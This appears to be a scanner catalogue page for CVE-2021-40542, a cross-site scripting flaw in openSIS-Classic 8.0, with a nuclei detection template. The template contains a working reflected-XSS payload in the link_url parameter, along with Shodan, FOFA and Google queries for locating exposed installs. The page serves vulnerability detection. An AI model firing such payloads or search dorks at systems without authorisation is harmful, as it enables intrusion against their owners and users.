Opensis-Classic 8.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.

Fix

To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-40542 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-40542

info:
  name: Opensis-Classic 8.0 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: |
    Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/OS4ED/openSIS-Classic/issues/189
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40542
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40542
    cwe-id: CWE-79
    epss-score: 0.03156
    epss-percentile: 0.88071
    cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: os4ed
    product: opensis
    shodan-query:
      - http.title:"openSIS"
      - http.title:"opensis"
    fofa-query: title="opensis"
    google-query: intitle:"opensis"
  tags: cve2021,cve,xss,opensis,os4ed,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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